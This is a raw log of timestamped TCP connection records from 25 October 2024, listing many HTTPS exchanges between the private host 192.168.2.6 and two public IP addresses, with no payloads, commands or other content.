Oct 25, 2024 10:20:25.359468937 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.359487057 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.359674931 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.360016108 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.360044003 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.360318899 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.360332012 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.363326073 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.363327980 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.363378048 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.364243031 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.364528894 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.364547968 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.377458096 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.377511024 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.377684116 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.378662109 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.378660917 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.378681898 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.378693104 CEST	443	50205	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.378765106 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.381445885 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.381459951 CEST	443	50205	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.396888971 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.427966118 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428201914 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428231955 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428319931 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.428355932 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428420067 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428450108 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428455114 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.428462029 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.428571939 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.429107904 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.429351091 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.429358006 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.429450989 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.429759026 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.429764986 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.429831982 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.430279016 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.430342913 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.430972099 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.431046009 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.431137085 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.431328058 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.431667089 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.431746960 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.432348013 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.432423115 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.432429075 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.432523966 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.433068991 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.433232069 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.433506966 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.433605909 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.433612108 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.433629036 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.433727026 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.434055090 CEST	50196	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.434067965 CEST	443	50196	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.458303928 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.458547115 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.458575010 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.458605051 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.458611965 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.458648920 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.458683014 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.458945990 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.459044933 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.459054947 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.459458113 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.461517096 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.466597080 CEST	50197	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.466617107 CEST	443	50197	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.796190023 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.796339989 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.796919107 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.798125982 CEST	50199	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.798129082 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.798146963 CEST	443	50199	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.798170090 CEST	443	50207	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.799624920 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.799990892 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.800004959 CEST	443	50207	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.964152098 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.964569092 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.964585066 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.965709925 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.965845108 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966093063 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.966116905 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966116905 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966193914 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.966223001 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966377974 CEST	443	50203	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.966404915 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966528893 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966567993 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.966600895 CEST	50203	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.966620922 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.966675997 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.966842890 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.967632055 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.967674017 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:25.967693090 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:25.967710018 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.967727900 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.967991114 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968039989 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968039989 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968056917 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.968220949 CEST	443	50202	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.968293905 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968295097 CEST	50202	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968336105 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968362093 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968363047 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.968372107 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.968605995 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968775034 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.968791008 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.969688892 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.969966888 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.970012903 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.970012903 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.970201969 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.970207930 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.970225096 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.970932007 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.971043110 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.971050978 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.971067905 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.971575022 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.971688986 CEST	443	50201	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.971695900 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.972831011 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.972846985 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.972878933 CEST	50201	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.973884106 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.973972082 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974231005 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974231005 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974299908 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.974327087 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974477053 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974484921 CEST	443	50200	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.974495888 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.974514008 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974793911 CEST	50200	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.974797964 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.975007057 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.975027084 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.995219946 CEST	443	50205	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.996738911 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.997102022 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.997133017 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.997164965 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.997179031 CEST	443	50205	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.998198032 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.998274088 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.998615026 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.998673916 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.998673916 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.998691082 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.998842001 CEST	443	50204	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.998955965 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.998986959 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:25.998997927 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.998997927 CEST	50204	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.999418974 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.999495029 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:25.999505043 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.000955105 CEST	443	50205	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.001120090 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001313925 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001313925 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001354933 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001503944 CEST	443	50205	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.001595020 CEST	50205	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001595974 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001624107 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.001791954 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001962900 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.001976013 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.408287048 CEST	443	50207	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.408607006 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.408627033 CEST	443	50207	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.409672976 CEST	443	50207	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.409742117 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.410672903 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.410689116 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.410741091 CEST	443	50207	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.410746098 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.410788059 CEST	50207	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.411115885 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.411164045 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.411379099 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.411597967 CEST	50214	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.411611080 CEST	443	50214	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.578247070 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.578435898 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.578695059 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.578711033 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.578962088 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.579005957 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.579754114 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.579849005 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.580125093 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.580199957 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.580534935 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.580665112 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.580828905 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.580890894 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.580976009 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.581123114 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.581151009 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.581248999 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.581259966 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.581295967 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.581312895 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.582176924 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.582792997 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.582868099 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.582933903 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.588830948 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.589041948 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.589062929 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.592206955 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.592346907 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.592629910 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.592698097 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.592773914 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.613377094 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.614648104 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.614937067 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.614964008 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.617408991 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.617429018 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.617451906 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.617487907 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.617922068 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.618084908 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.618104935 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.618618011 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.618680954 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.619018078 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.619086981 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.619232893 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.619241953 CEST	443	50213	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.623332024 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.628592014 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.628706932 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.639333010 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.641446114 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.641474009 CEST	443	50211	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.659333944 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.671859026 CEST	50213	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.671861887 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.671886921 CEST	443	50212	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.689243078 CEST	50211	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.716216087 CEST	50212	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.820573092 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.820719957 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.820777893 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.820797920 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.820902109 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.820993900 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.821079969 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.821129084 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.821129084 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.821139097 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.821244001 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.821295023 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.821305037 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.821382046 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.821501017 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.821507931 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.863435984 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.928633928 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.928741932 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.928838015 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.928864002 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.928981066 CEST	443	50210	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.929047108 CEST	50210	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.936206102 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936249971 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936290979 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936323881 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936358929 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936387062 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936419964 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.936419964 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.936419964 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.936484098 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936640024 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936662912 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936722040 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.936744928 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.936808109 CEST	50208	443	192.168.2.6	104.21.16.104
Oct 25, 2024 10:20:26.937428951 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.937594891 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.937654972 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.937664032 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.937767029 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.937848091 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.937855005 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.937942982 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.938544035 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.938553095 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.938786983 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.938844919 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.938853025 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.938947916 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.938990116 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.939006090 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.939634085 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.939696074 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.939702988 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.939860106 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.939928055 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.939937115 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.940562963 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.940658092 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.940664053 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.940685987 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.940815926 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.940821886 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.940840006 CEST	443	50209	172.67.167.62	192.168.2.6
Oct 25, 2024 10:20:26.940913916 CEST	50209	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:20:26.941504002 CEST	443	50208	104.21.16.104	192.168.2.6
Oct 25, 2024 10:20:26.945255041 CEST	443	50211	172.67.167.62	192.168.2.6
